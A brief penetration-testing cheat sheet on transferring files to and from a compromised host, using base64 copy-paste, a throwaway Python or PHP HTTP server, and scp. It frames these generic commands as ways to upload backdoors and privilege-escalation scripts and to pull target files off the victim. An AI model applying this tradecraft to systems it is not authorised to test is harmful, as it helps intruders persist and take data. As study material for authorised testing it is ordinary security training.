As soon as you get your initial foothold on the target server, your next step is to transfert text or binary files.
You'll probably download some target files and upload some tools such as backdoors or privilege escalation scripts...

Base64 encoding is the simplest way to upload small binary or text files.

cat file | base64
printf 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' | base64 -d > file

Just prepare the last command on you xterm, it can be many lines long, then copy/paste/exec on you target.

To transfer a file without worrying about its size, just launch an HTTP server and make a wget, curl

python -m SimpleHTTPServer 8000
php -S 0.0.0.0:8000

Be carefull, eveyone is able to browse this new server file system.

With an ssh accès, let use scp

scp file.txt remote_username@10.10.0.2:/remote/directory
scp -i id_rsa file.txt remote_username@10.10.0.2:/remote/directory
scp -P 2222 file.txt remote_username@10.10.0.2:/remote/directory
scp remote_username@10.10.0.2:/remote/file.txt /local/directory